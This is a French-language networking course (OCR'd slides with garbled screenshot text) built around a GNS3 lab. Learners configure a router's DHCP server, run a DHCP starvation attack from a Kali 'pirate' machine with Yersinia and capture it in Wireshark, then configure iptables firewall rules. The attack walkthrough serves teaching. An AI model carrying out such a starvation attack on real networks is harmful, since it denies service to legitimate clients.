Mame: |F‘rojet 2]

Location: |C:\Users\HPYEMS 3 \projects\Projet 2 Browse. ..

Open project

Open a project from disk | |Recent projects... =

i
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Settings Ok Cancel
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Etape 2 : Emulation de la topologie de réseau

Pour créer manuellement une nouvelle Template d’un routeur a partir du fichier c3725-adventerprisek9-mz.124-25d.bin, sélectionnez I'icbne " +New template "

Une nouvelle fenétre intitulée New template s’ouvre, sélectionnez alors Une nouvelle fenétre intitulée Preferences s’ouvre, sélectionnez alors 10S
Manually create a new template. Cliquez ensuite sur Next. Routers, et parcourez le chemin du fichier c3725-adventerprisek9-mz.124-
25d.bin. Cliquez ensuite sur Next.

& Hew template ? ks & Mew 105 router template ? x

v tsrmplabe
Plasirins et Iz o0 wanl Lo ol a nisw lerpkalis IOS image
Please choase an [05 image.

Tressall an azpliancs from the GHES server fecomnenced]

Irwport an apohance B [ grada axlenaen] Existing image '® New [mage

105 imapge:
C:Wsers HWPGHE T ymages 105\ 172 S-adventerprisekS-mz. 124-25d. image Browvss...

®! Marualy rreate & rewy bemplabe
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Cancel

w
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Etape 2 : Emulation de la topologie de réseau

Une nouvelle fenétre intitulée New IOS router s’'ouvre, nommez la Attribuez une capacité RAM, il est possible d’utiliser la valeur par défaut
Template du routeur « Router ». Cliquez ensuite sur Next. 128Mo. Cliquez ensuite sur Next.
& New |05 router - c3725-adventerprisekd-mz.124-25d.image ? * & New 10 router - c3725-adventerprisekd-mz.124-25d.image 4 X

Name and platform Memory

Please choose a descriptive name for this new 105 router and verify the platform and chassis. Please check the amount of memary {RAM) that you allocate to I0S. Too much or not enough RAM could

prevent I0S from starting.

Mame: |Router| | Default RAM: | [128 MiB : |
Platform: | c3725 - Check for minimum and maximum RAM reguirement
Chassis: =

This is an EtherSwitch router

i
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< Back | MNext = Cancel < Back | Mext > Cancel
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Etape 2 : Emulation de la topologie de réseau

Sur la page Network adaptaters, il vaut mieux ne pas modifier la

configuration par défaut. Cliquez ensuite sur Next.

OFPPT

WEB

Sur la page WIC modules, il vaut mieux ne pas modifier la configuration

par défaut. Cliquez ensuite sur Next.

e' MNew [0S router - ¢3725-adventerprisek®-mz. 124-25d.image

Network adapters
Please choose the default network adapters that should be inserted into every new instance of this router.

slot 0: | GT96100-FE

slot 1:

slot 2

slot 3:

slot 4:

slot 5:

clot &

i
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<Back || MNext>

Cancel

ﬂ Mews 105 router - €3725-adventerprisekd-mz. 124-25d.image

WIC modules
Pleasze choose the default WIC modules that should be inserted into every new instance of this router,

wiC 1

wic 2

< Back Mext =

FORCE »
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Etape 2 : Emulation de la topologie de réseau

Sur la page Idle-PC, il vaut mieux ne pas modifier la configuration par

défaut. Cliquez ensuite sur Finish.

e' MNew 105 router - c3725-adventerprisek8-mz.124-23d.image

Idle-PC
An idle-pc value is necessary to prevent 105 to use 100% of your processor or one of its cores.

? x

Ide-PC: |Dx602467a4)

| | 1dle-PC finder |

| <Bak || inish

| | cancel |

Copyright - Tout droit réservé - OFPPT

créée avec succes.

All devices

B

G IFilter
ATM switch

«’ Cloud

#? Ethernet hub
g ﬁ Ethernet switch
EtherSwitch

0 B Frarne Relay switch
MAT

he
N

Router

B ypes

e
Jo
=)

WE

Comme illustré dans la figure ci-dessous, la Template Router a été

BFORCE »
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Etape 2 : Emulation de la topologie de réseau

Pour créer manuellement une nouvelle Template d’'une machine a partir d’'une machine virtuelle créée sous VirtualBox, sélectionnez I'icbne "+New Template ".

Une nouvelle fenétre intitulée New template s’ouvre, sélectionnez alors

_ _ Une nouvelle fenétre intitulée Preferences s’ouvre, sélectionnez alors
Manually create a new template. Cliquez ensuite sur Next.

VirtualBox VMs, et sélectionnez la VM Ubuntu. Cliquez ensuite sur Next.

& Blew bemolate 7 Y ar

Hew template Gemeral VirtualBox VM templates |
Fluazm smmct bovy ywou wank bg Teebe & mew serslate Beruer

= {arnmral H

GH53 VM : =
Packet capture 1 kali-limu 2022 1 wirtuslbox-amd6d Ternpishe name: b - 132, irtuslhor- st

o Ternpiske IT: ISETCR. AT A £ T T4 kT
= Built-in it R name: enbeinuee. 102 virhuslbox-amd £
Impart & appliance A= (onsZa axi=nsion) Ethernet hubs Rékd: Ang
1l e e e Ethernet switches I S OFKE0-REDS
Clowd nodes B e Vol o YhA bemplarte 7 g
= ¥PCS
Virtumifae Vil Mackine =ETe
VPCS nodes Fease dwaast a VirwaBoo vl madwe from the 6L ‘
= Drymhmips
106 routers
= 105 on UNIX
OU Devices
- QEMU U an  irvhred v W0 e spuarer v
Qi VM2
= WirtualBow
VirtunlBox Vs
= Wiwiare
Vivtware Vivs
= Dacher
Dodeer contalners

Treatall an apparce % om U CREE servor [ecommended]

Wl Lk

i
—
-
<
o




Activité 2

Correction
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Terminez le processus de création en cliquant sur Apply puis Ok.

0

OFPPT

- Pt o T e

B Preberances

General
Server
GHES VM
Packet capture
- Built-in
Ethermet hubs
Ethermct switches
Cloud nodes
- VPGS
WPCS nodes
~ Dynamips
135 routers
= 105 on UNIX
10U Devices
- QEMIL
Qe VM
- VirtualBox
VirtualBox WMs
- Vivlware
Vilware ViMs
- Dodocr
Docker containers

VirtualBox VM templates

B palictinane-2022 1-virtualboy-amd6d
B bt

= frenel
Ternigdabe resre
Izrngdate I8
Wrbgallice name
Rk
fprnr
Head s made enable:
O clonm
Lirkad baws Whi
[ —
Auly slal woruks
= Retmuik
adapiers
Mame fanmak
Lse ary adzpten
frps

Uburty
(1]

bk,

R

RS TR IR
Faine

Pr——

Falss

-

Fulac

1
Ethemetl]
Faise

Inbe | P00 M | esieop (HESENT

Careed

By

All devices [
\Filter
ATM switch
Claud

#aP Ethernet hub

ﬁ Ethernet switch

EtherSwitch
m Frame Relay switch

B0 i linux-2022.1-virtualbox -armd6d
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Comme illustré dans la figure ci-dessous, la Template Ubuntu a été
créée avec succes.
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Etape 2 : Emulation de la topologie de réseau
Importez les équipements nécessaires dans I'espace de travail, Cliquez sur le bouton Start/Resume all nodes. Une fenétre de confirmation
nommez-les, puis établissez les liens requis pour créer la topologie s‘ouvre, cliquez alors sur Yes.
comme illustré a la figure ci-dessus.
R1 Rl
Fan/0 Fad/0
Client_DHCP_Ubuntu Fli3 Pirate_Kak
Client_DHCP_Ubuntu Fa1/3 Pirate_Kali U & Confiem Start Al ® 4
[
m1 EO Fa1/2 Fal/1 EQ m1 Are you sure you want to start all devices? I_E.
I g = i
Y= Mo
Switch
R1
i
Ll Fal/0
- Comme illustré dans la figure contre, tous les
Et équipements sont actifs et préts a &tre utilisés. | cgent_pHee_ubuntu Fal/3 Pirate_Kal
sl ED Falf2 Falfl ED g
e B 20 . Al
Swyitch
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Etape 3 : Configuration du serveur DHCP

Cette figure illustre les commandes exécutées pour activer l'interface Cette figure illustre les commandes exécutées pour la création et la
FastEthernet 0/0 et lui attribuer une adresse IP 10.0.0.1. configuration du pool d’adresses DHCP.

0TO-5-UPDOWN: Line pr 1 on Interfac

End with CNTL/Z.

¥LINK-3-UPDOWN: Interfac as ernet@, changed

MEPROTO-5-UPDOWM: Line pro 1 on Interfac luded-address 1@

up
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Etape 4 : Vérification du bon fonctionnement du serveur DHCP

* Pour vérifier le bon fonctionnement du serveur DHCP, nous allons vérifier si les machines Ubuntu (client DHCP) et Kali (pirate) peuvent recevoir des adresses IP du
serveur DHCP.

* Avant tout, il faut vérifier les liaisons d'adresse sur le serveur DHCP en exécutant la commande R1l#show ip DHCP binding dans le terminal du routeur R1.

* Comme illustré dans la figure ci-dessous, le résultat de I'exécution de la commande précédente illustre qu’il y a une seule adresse DHCP (10.0.0.3) qui a été attribuée.

Automatic
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Correction
Etape 4 : Vérification du bon fonctionnement du serveur DHCP
* Cette figure illustre l'exécution des commandes permettant la libération de la En vérifiant les liaisons d'adresses sur le serveur DHCP, nous pouvons
configuration IP de la machine Ubuntu, la demande d’une nouvelle adresse IP, et remarqué lajout d’une nouvelle ligne démontrant lattribution de
I'affichage de I'adresse IP obtenue. I'adresse 10.0.0.2 a un nouveau client DHCP qui est la machine Ubuntu

* Le résultat illustré dans la figure montre que la machine Ubuntu a obtenu une adresse IP dans notre exemple.

.10.0.0.2

osboxes@osboxes: ~

ciated with VRF:
Lease expiration Type

S sudo dhclient -r
S sudo dhclient
S ip address show
1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 qdisc noqueue state UNKNOWN gro
up default glen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_lft forever
inet6 ::1/128 scope host
valid_1ft forever preferred_Llft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel st
ate UP group default qlen 1000
link/ether 08:00:27:d9:6b:39 brd ff:ff:ff:ff:ff:ff
inet 10.0.0.2/8 brd 10.255.255.255 scope global dynamic enp@s3
valid_1ft 86390sec preferred 1lft 86390sec
inet6 fe80::66b1:5d64:94de:48df /64 scope link noprefixroute
valid_1ft forever preferred_Llft forever

Mar @ 7 AM Automatic

ip dhep bin
from all poo 0 ciated with VRF:
Lease expiration Type
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Etape 4 : Vérification du bon fonctionnement du serveur DHCP
e Cette figure illustre I'exécution des commandes permettant la libération de la En vérifiant les liaisons d'adresses sur le serveur DHCP, nous pouvons
configuration IP de la machine Kali, la demande d’une nouvelle adresse IP, et remarquer l'ajout d’'une nouvelle ligne démontrant 'attribution de I'adresse
I'affichage de l'adresse IP obtenue. 10.0.0.4 a un nouveau client DHCP qui est la machine Kali dans cet exemple.

* Le résultat illustré dans la figure montre que la machine Kali a obtenu une
adresse IP .10.0.0.4.

kali@kali: ~

File Actions Edit View Help

password for kali:

3
o
R)
R

-

i
—
-
<
o




Activité 2 OO\ WEBFORCE .

] ()iPP'I BE THE CHANGE
Correction s

Etape 5 : Exécution de I'attaque DHCP Starvation

Lancement de l'outil Yersinia depuis le terminal de la machine Kali (pirate).

L . , . Interface de l'outil Yersinia illustrant I'exécution de I'attaque DHCP

Interface de l'outil Yersinia permettant le lancement de 'attaque DHCP starvation. i . ) N o
starvation via I'envoie des requétes DHCP falsifiées.

Choose protocol attack

- 2 5 . e = x DHCP 802.1C 8021IX DTP HSRP ISL MPLS STP VTP Yersinialo
CDP DHCP 802.1Q 802.1X DTP HSRP ISL S | e o] [ ’ o = vl ST 00

Lhoose attack
0.0.0.0 255.255.255.255 O1DISCOVER ethO 14 Mar 18:49:56

Description Do5 0.0.0.0 255.255.255.255 O1DISCOVER ethO 14 Mar 18:49:56
sending RAW packet
sending DISCOVER packet

creating DHCP ro

0.0.0.0 255.255.255.255 O1DISCOVER ethO 14 Mar 18:49:56
0.0.0.0 255.255.255.255 O1DISCOVER ethO 14 Mar 18:49:56
0.0.0.0 255.255.255.255 O1DISCOVER ethO 14 Mar 18:49:56

0.0.0.0 255.255.255.255 O1DISCOVER ethO 14 Mar 18:49:56
0.0.0.0 255.255.255.255 O1DISCOVER ethO 14 Mar 18:49:56

sending RELEASE packet

i
—
-
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Cancel
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Etape 5 : Exécution de I'attaque DHCP Starvation

Il est aussi possible d’analyser le trafic généré par la machine Kali en utilisant I'outil d’analyse Wireshark, qui est installé par défaut avec GNS3.

* Pour lancer Wireshark, il suffit de cliquer avec le bouton droit sur le cable
liant la machine Kali et le commutateur. Sélectionnez ensuite 'option Start

capture.

* Une fenétre de capture de paquets s'ouvre comme illustré dans la figure ci-

dessous, cliquez alors sur OK.

S0

OFPPT

WEB

La figure ci-dessous est un extrait de la capture du trafic collectée lors de I'exécution de
I'attaque DHCP starvation.

RI

/o

Chent_DHCP_huntu

—_—

& Packet capture

Link Eype: | Elhermal
Pz name: |Frate_fsh_Pdhemesd_to_Swabch Fastithemetll

v Start the capture visualization program

Cancel

£ Capture en cours de - [Pirate_Kali EthernetD to Switch FastEthernet1/1] - O x

Fichier Editer Wue Aller Capture Analyser Statistiques Telephonie  Wireless  Outils  Aide
md® RERes=F 35 EaQas

(W Jdhepl K=K

No. Time Source Destination Protocol  Length Info
49486 15.965683 8.8.0.8 255,255.255.255 DHCP 286 DHCP Discover - Transaction ID @x643c9869
49487 15.966129 @.8.0.8 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID @x643c9369
49488 15.966223 8.8.8.8 255.255.255.255 DHCP 286 DHCP Discowver - Transaction ID @x643c9869
49449 15.966258 8.8.0.8 255,255.255.255 DHCP 286 DHCP Discover - Transaction ID @x643c9869
49418 15.966285 9.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID @x643c9869
49411 15.966343 8.8.0.8 255,255.255.255 DHCP 286 DHCP Discover - Transaction ID 8x643c9869
49412 15.966438 @.8.0.8 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID @x643c9869
49413 15.966584 8.8.8.8 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID @x643c9869
49414 15.966579 8.8.6.8 255,255.255.255 DHCP 286 DHCP Discover - Transaction ID 8x643c9869
49415 15.966673 @.8.0.8 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID @x643c9369
49416 15.966738 8.8.8.8 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID @x643c9869
49417 15.966816 8.8.0.8 255,255.255.255 DHCP 286 DHCP Discover - Transaction ID @x643c9869

— 49418 15.966898 9.0.0.8 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID @x643c9869

£ >

v

Frame 1: 286 bytes on wire (2288 bits), 286 bytes captured (2288 bits) on interface -, id @

i
—
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Fthernet TT. Sre: 35:39:74:63:@8@:17 (35:30:74:53:48:17Y. D<t: Broadrast (Ff:FfFF-FFFF:FF)
@@@a ff ff ff ff f Tf 35 a9 74 63 @0 17 @5 00 g 1@ -~ tc -

0010 @1 10 @2 @0 @8 6@ 10 11 a0 ce 0@ 68 6 @D T

0e20 Ff £f @@ 44 00 43 @@ fc el be 01 @1 06 00 64

G630 08 6O @@ @0 50 68 GO @ 0O 6O 0@ 6B 60 6D BB

0040 B8 B @@ @9 @B B 35 ad 74 63 0@ 17 60 0D 08

0050 ©O 6@ @@ @D B0 0@ @O A 0O @O 0@ 6O 60 @D 0B

0050 BB B G @D BB B0 0O 0@ 0O 0O 0@ GR 0 0D B8

0670 BO B @R @0 GO 08 PG 0@ 0° BO 0@ 0O 6 0D 0@

0050 BE B G @D GO BB BO DR 0O BB 0@ 6O 0 0D BB

®

"dhc" is neither a field nor a protocol name.

|| Paquets: 43418 - Affichés: 49418 (100.0%)

| | Profile: Default

FORCE »

BE THE CHANGE
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Etape 5 : Exécution de I'attaque DHCP Starvation

Cette figure illustre le résultat de la commande R1# show ip dhcp binding exécutée Cette figure illustre le résultat de la commande R1# show ip dhcp binding
lors de la réalisation de I'attaque DHCP starvation. Elle montre que le serveur DHCP exécutée apres la réalisation de I'attaque DHCP starvation. Elle montre que le
est inondé et ne peut pas répondre a n‘importe quel type de requéte. serveur DHCP a attribué plusieurs adresses dynamiques.

name

 Remarques

En essayant de libérer et de renouveler l'attribution de I'adresse a la machine Ubuntu lors de
I'exécution de l'attaque, vous pouvez noter que la machine Ubuntu ne peut pas recevoir une
nouvelle adresse de la part du serveur DHCP (qui est inondé).
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PARTIE 2
PROTEGER LE SI

Dans ce module, vous allez :

e  Configurer un pare-feu

* Appliquer les bonnes pratiques et la configuration des outils
nécessaires pour sécuriser un systeme d’exploitation

18 heures
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ACTIVITE 1

S’INITIER A LUTILISATION DU PARE-FEU
IPTABLES

Compétences visées :

Configurer un pare-feu (IPTABLES)

Recommandations clés :

Maitriser le principe du fonctionnement d’un pare-feu
logiciel
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CONSIGNES

Pour le formateur

Lapprenant doit étre capable de configurer iptables en partant de la stratégie de
sécurité définie dans un énoncé.

Pour I'apprenant
Il est recommandée de maitriser le principe du fonctionnement d’un pare-feu
[l faut utiliser le syntaxe des commandes fournis au début de l'activité

Il est également recommandée de suivre les étapes décrites dans I'’énoncé

Conditions de réalisation :

VirtualBox installé

Une machine Virtuelle Ubuntu. Lien de téléchargement de la VM Ubuntu :
https://www.osboxes.org/ubuntu/#ubuntu-21-10-info

Criteres de réussite :

Avoir un pare-feu configuré selon la stratégie de sécurité définie dans I'’énoncé

Réaliser avec succes les tests de vérification demandés dans I'énoncé


https://www.osboxes.org/ubuntu/#ubuntu-21-10-info
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Etape 1 : S’initier a iptables

(o]
—
-
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Q.

L'objectif principal de cette activité est d’apprendre a configurer un pare-feu. Comme exemple de pare-feu, nous allons utiliser iptables.
Iptables est un outil de ligne de commande et un pare-feu Linux permettant de configurer, maintenir et inspecter des tableaux de filtrage de paquets.

Tous les paquets inspectés par iptables passent par une séquence de tables intégrées (INPUT, OUTPUT, ou FORWARD) pour étre traités. Chacun de ces tableau est
dédiée a un type particulier d'activité de paquets et est contréléepar une chaine de transformation/filtrage de paquets associée.

Iptables est basé sur trois tableaux de filtrage de paquets qui sont :
* INPUT : contréle les paquets entrants sur la machine ;
* FORWARD : filtre les paquets qui entrent sur la machine mais doivent étre transférés ailleurs ;

* OUTPUT : contréle les paquets sortant de la machine.

Toute commande iptables prend la forme suivante :

S sudo iptables —t <type de tableau> <action> <direction> <conditions> -j <ce qu'il faut faire>

En ce qui suit nous détaillons le contenu des éléments qui peuvent étre inclus dans une commande iptables.

Copyright - Tout droit réservé - OFPPT .
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S’initier a l'utilisation du pare-feu iptables

.....

Etape 1 : S’initier a iptables
Le tableau suivant détaille les éléments qui peuvent étre inclus dans une commande iptables :
e
-t --table

<Type de tableau> Filtre par défaut

-A: append Ajouter une regle a la chaine iptables
-D: delete Supprimer la regle qui correspond
<action> -L: list Lister toutes les regles
-F: Flush Supprimer toutes les regles
-P: policy Modifier la stratégie par défaut
INPUT Filtrage des paquets entrants
<direction> OUTPUT Filtrage des paquets sortants
~ FORWARD Filtrage des paquets entrants et a transférer
L ACCEPT Le paquet est accepté sur l'interface entrante
E DROP Le paquet est bloqué. Aucun message d'erreur n'est renvoyé
E <ce qu'il faut faire> REJECT Le paquet est bloqué. Un message d'erreur est renvoyé
LOG Les informations sur le paquet sont envoyées au démon syslog pour la journalisation et

iptables continue le traitement avec la régle suivante dans la table

Copyright - Tout droit réservé - OFPPT
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S’initier a l'utilisation du pare-feu iptables

Etape 1 : S’initier a iptables

D N S

-s <ip> Spécifier une adresse IP source
-d <ip> Spécifier une adresse IP destination
. -i <eth> Spécifier une interface d’entrée (Input)
<conditions> )
-0 <eth> Spécifier une interface de sortie (Output)
-p <protocole> --dport <num> Spécifier le port destination d’un protocole donné
-p <protocole> --sport <num> Spécifier le port source d’un protocole donné

N
—
-
<
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Copyright - Tout droit réservé - OFPPT

55



Activité 1 OO \WEBFORCE

’- . . \ ’ L B Ll . 5! TH[ £HANGE
S’initier a l'utilisation du pare-feu iptables

.....

Etape 1 : S’initier a iptables

Le tableau ci-dessous décrit certains exemples de commandes iptables qui vous servent par la suite pour configurer proprement votre pare-feu.

sudo iptables —A INPUT -p tcp -m tcp --dport 23 —j DROP Bloque les connexions TCP entrantes au port 23

sudo iptables —A OUTPUT —p udp —m tcp --sport 53 —j DROP Bloque les connexions UDP sortantes du port 53

sudo iptables —A INPUT —i eth0 —p tcp --dport 22 —m state --state NEW, Accepte les demandes d'établissement de nouvelles connexions et
ESTABLISHED —j ACCEPT datagramme faisant partie d'une connexion déja établie
sudo iptables -A OUTPUT -p icmp --icmp-type echo-request -j ACCEPT Accepte les echo-request (paquet icmp de type 8) sortantes

* Enregistrement des scripts iptables :
* Sivous redémarrez la machine, la configuration d'iptables disparaitra.
* Pour enregistrer la configuration et la faire démarrer automatiquement, les deux commandes iptables-save et iptables-restore peuvent étre utilisées.

* # iptables-save > /etc/iptables.rules

N
—
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 #iptables-restore < /etc/iptables.rules

Copyright - Tout droit réservé - OFPPT y
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Etape 2 : Travail demandé

* Aprés avoir examiné les notions fondamentales de iptables, passons maintenant a tester certaines commandes
suivantes et répondre aux questions :

1. Démarrez votre machine virtuelle Ubuntu et ouvrez son terminal ;

* |l vaut mieux que le mode d’acces réseau de votre machine virtuelle soit Accés par pont.
Vérifiez que iptables est installé dans votre machine Ubuntu ;
Listez les régles du pare-feu iptables ;
Selon le résultat obtenu dans la question précédente, quel est la stratégie par défaut de iptables ?
Essayez de pinguer depuis la machine hoéte vers la machine virtuelle ;
Ajoutez la regle appropriée permettant de bloquer la réception des écho-requests du protocole ICMP ;
Listez de nouveaux les regles du pare-feu iptables ;

Essayez de pinguer depuis la machine hoéte vers la machine virtuelle ;

L ©® N o U B~ W N

Essayez de pinguer I'url suivant www.google.com depuis la machine virtuelle ;

=
o

. Ajoutez la régle appropriée permettant de bloquer I'envoi des écho-requests du protocole ICMP ;

=
[EEN

. Essayez de nouveau de pinguer I'url suivant www.google.com depuis la machine virtuelle ;

o
—
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[EEN
N

. Enregistrez la configuration effectuée ;

[EEN
w

. Supprimez les regles du pare-feu iptables.

Copyright - Tout droit réservé - OFPPT

0

orrr WEBFORCE ~

BE THE CHANGE

o Pot o T e

. Pour ce faire, vous étes chargés de suivre les étapes

57
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* Comme illustré dans la figure ci-dessous, pour vérifier que iptables est bien installée dans votre machine Ubuntu, il suffit de taper les commandes suivantes :
* sudo iptables
* sudo iptables -h

* Selon le résultat illustré dans la figure ci-contre, la version du pare-feu iptables est 1.8.7.

:$ sudo iptables
dn]l _password for osboxes:
(nf tables): no command specified
"iptables -h' or 'iptables --help' for more information.
:-$ sudo iptables -h

iptables v1.8.7
En cas ou iptables n’est pas installé dans votre machine, il suffit de

taper les commandes suivantes : Usage: iptables -[ACD] chain rule-specification [options]
* sudo apt-get update iptables -I chain [rulenum] rule-specification [options]
 sudo apt-get install iptables iptables -R chain rulenum rule-specification [options]
iptables -D chain rulenum [options]
iptables -[LS] [chain [rulenum]] [options]
iptables -[FZ] [chain] [options]
iptables -[NX] chain
iptables -E old-chain-name new-chain-name
iptables -P chain target [options]
iptables -h (print this help information)
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* Pour lister les regles du pare-feu iptables, il suffit de taper la commande : sudo iptables -L

sudo iptables -L

Chain INPUT pollcy ACCEPT)

target pro source destination

Chain FORWARD | (policy ACCEPT)

target prot opt source destination

Chain OUTPUT |[policy ACCEPT

target prot opt source destination

* Selon le résultat illustré dans la figure ci-dessus, la stratégie par défaut de iptables est ACCEPT

Le résultat de la commande sudo iptables -L démontre qu'aucune
regle de filtrage n’est configuré dans iptables

La stratégie par défaut est ACCEPT

* Par conséquent, aucun filtrage de paquet n’est appliqué par iptables



Pour réaliser des test de type ping depuis la machine hote vers la machine
virtuelle Ubuntu, il faut :

1. Identifier I'adresse IP de la machine virtuelle Ubuntu, en tapant dans son
terminal la commande : ifconfig ou ip address show

Le résultat obtenu démontre que l'adresse IP est : 192.168.0.162

Ces résultats sont obtenus avec la configuration par défaut de
iptables illustrée précédemment.

2. Depuis l'invite de commande de la machine hoéte, tapez la commande ping
suivie de I'adresse IP identifiée précédemment :

Ping 192.168.0.162

Le résultat obtenu démontre que la machine virtuelle répond aux requétes
ICMP envoyées de la part de la machine hote.
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:-$ 1fconfig

enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet [192.168.0. 162]
168.0.255

inet6 fe80::53e:4b98:ec44:be26 prefixlen 64

netmask 255.255.255.0 broadcast 192.

scopeid 0x2
0<link>
ether 08:00:27:36:85:0b txqueuelen 1000
RX packets 487 bytes 87216 (87.2 KB)
RX errors 0 dropped @ overruns @ frame 0
TX packets 289 bytes 41416 (41.4 KB)
TX errors © dropped O overruns @ carrier 0

(Ethernet)

collisions

C:\Users\HP>ping 192.168.0.162

32 octets de données :
TTL=64
TTL=64
TTL=64
TTL=64

192.168.0.162 avec
octets=32 temps<lms

Envoi d’une requéte 'Ping’
Réponse de 192.168.0.162 :
Réponse de 192.168.0.162 : octets=32 temps<lms
Réponse de 192.168.0.162 : octets=32 temps<lims
Réponse de 192.168.0.162 : octets=32 temps<ims

Statistiques Ping pour 192.168.0.162:

Paquets : envoyés = 4, regus = 4, perdus = @ (perte 0%),
Durée approximative des boucles en millisecondes :

Minimum = @ms, Maximum = @ms, Moyenne = @ms



La régle permettant de bloquer la réception des écho-requests du protocole
ICMP est obtenue suite a I'exécution de la commande suivante
sudo iptables -A INPUT -p icmp --icmp-type echo-request -j DROP

LUexécution de la commande précédente ainsi que la regle ajoutée dans
iptables sont illustrées dans la figure ci-contre.

Pour tester la nouvelle régle configurée dans iptables, il suffit d’exécuter la
commande ping 192.168.0.162 depuis l'invite de commande de la machine
hote

Le résultat illustré dans la figure ci-contre démontre que la machine Ubuntu
n’a pas répondu aux écho-request recus et cela est du au fait que iptables a
bloquer la réception de ce type de requétes.

S0
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$ sudo iptables -A INPUT -p icmp --icmp-type

o-request -j DROP
[sudo] password for osboxes:

$ sudo iptables -L

Chain INPUT (policy ACCEPT)

destination
anywhere

opt source
anywnere

prot
icmp --

p echo-request

Chain FORWARD (policy ACCEPT)

target

prot opt source destination

Chain OUTPUT (policy ACCEPT)
prot opt source

target

destination

C:\Users\HP>ping 192.168.0.162

Envoi
Délai
Délai
Délai
Délai

d’une requéte 'Ping’
d’attente de la demande
d’attente de la demande
d’attente de la demande
d’attente de la demande

dépasse.
dépasse.
dépassé.
dépasse.

Statistiques Ping pour 192.168.0.162:

Paquets

: envoyés = 4, recus = 0, perdus = 4 (perte 100%),

WEBF
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192.168.0.162 avec 32 octets de données :



Le résultat de la commande ping www.google.com exécutée depuis le terminal de la

machine virtuelle est illustré dans la figure ci-contre. Ce résultat démontre que la
machine virtuelle a pu envoyer des requétes ICMP de type echo-request est que le
serveur du site web www.google.com a répondu a ces requétes.

La regle permettant de bloquer I'envoie des écho-requests du protocole ICMP est
obtenue suite a I'exécution de la commande suivante :
sudo iptables -A OUTPUT -p icmp --icmp-type echo-request -j DROP.

L'exécution de la commande précédente ainsi que la nouvelle configuration de
iptables (qui inclue la nouvelle régle) sont illustrées dans la figure ci-contre

Le résultat de la commande ping www.google.com exécutée apres avoir effectuée la

nouvelle configuration de iptables est illustré également dans la figure ci-contre . Ce
résultat démontre que la machine virtuelle n’a pas pu envoyer des requétes ICMP de
type echo-request au serveur du site web www.google.com
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£ ping www.google.com
’m (172.217.21.4) 56(84) byt of data.
9-in-f4.1eld0.net El?:, .21.4): icmp_seg=1
tlmE—5u 1 ms
s from mrs 18-in-f4.1el08.net (172. .21.4): icmp seqg=2
time=57.4 ms
64 bytes from muallJli in-f4.1el00.net (172.217.21.4):
ttl=112 time=6
64 bytes from mr lu—ln-Td.lelﬂﬂ. et (172.217.21.4):
ttl=112 time=58.3 ms
“C
- www.google.com ping statisti
4 packets transmitted, 4 receiw
rtt min/avg/max/mdev = 57.439/58.

¢ sudo iptables -A QUTPUT -p icmp --icmp-type ec
ho- request -j DROP
:~$% sudo iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source
DROP icmp -- anywhere
p echo-request

destination
anywhere

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)

anywhere anywhere
% ping www.google.com

PING www.google.com (172.217.21.4) 56(84) bytes

~C

--- Www.google.com ping statistics ---

9 packets transmitted, @ received, 180% packet loss, time B169ms

of data.
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* Afin d’enregistrer la configuration du pare-feu iptables, il suffit d ‘exécuter la commande iptables-save > /etc/iptables.rules en mode super utilisateur.

- $ sudo su

root@osboxes:/home/osboxes# iptables-save > /etc/iptables.rules

* Pour supprimer les régles configurées au sein de iptables, il suffit de taper la commande : sudo iptables -F

:-$ sudo iptables -F
:$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination
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ACTIVITE 2

CONFIGURER IPTABLES EN UTILISANT UNE
STRATEGIE PAR DEFAUT DROP

Compétences visées :

Effectuer une configuration avancée d’un pare-feu (IPTABLES)

Recommandations clés :

Maitriser le principe du fonctionnement d’un pare-feu
logiciel




CONSIGNES
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1. Pour le formateur

. Lapprenant doit étre capable de configurer iptables en partant de la stratégie de
sécurité définie dans un énoncé.

2. Pour l'apprenant

. Il est recommandée de maitriser le principe du fonctionnement d’un pare-feu
. Il faut utiliser le syntaxe des commandes fournie au début de 'activité précédente
. Il est également recommandé de suivre les étapes décrites dans I'énoncé

3. Conditions de réalisation :

. ’ . VirtualBox installé

. Une machine Virtuelle Ubuntu qui a été utilisée dans l'activité 2.

. Réalisation de l'activité précédente avec succes.

4. Criteres de réussite:
Avoir un pare-feu configuré selon la stratégie de sécurité définie dans I'’énoncé
Réaliser avec succes les tests de vérification demandés dans I'énoncé
[—_— F——



Activité 2 X0
Configurer iptables en utilisant une stratégie par défaut | R

DROP

Etape 1 : Préparation de ’environnement de travail

* Lobjectif principal de cette étape est de préparer I'environnement dans lequel I'activité sera réalisée.

* La préparation de lI'environnement de travail consiste essentiellement a installer des outils qui nous servirons pour tester I'efficacité des regles configurées
au sein du pare-feu iptables

* Les outils a installer sont principalement :
* Dans la machine hote : le client Telnet dans la machine héte
* Dans la machine virtuelle Ubuntu :
1. Leserveur Telnet
2. Netstat
3. Serveur ssh
4. Lynx

* Travail demandé : vous étes chargés dans cette étape de préparer 'environnement de travail en installant les outils cités précédemment.

N
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DROP

Etape 2 : Configuration du pare-feu iptables

* Aprés avoir préparé lI'environnement de travail, I'objectif principal de cette activité est d’'implémenter une stratégie de sécurité dans le pare-feu iptables en partant
d’une stratégie par défaut DROP.

* La stratégie de sécurité a implémenter est la suivante :

A. La machine Ubuntu doit étre capable d'envoyer des paquet ICMP de type echo-request et de recevoir des paquets ICMP de type echo-reply (un tel message
doit étre journalisé, tout en laissant iptables préfixer les messages de journal avec la chaine "echo reply received") ;

B. La machine Ubuntu doit étre capable de générer des messages ICMP "destination-unreachable" ;

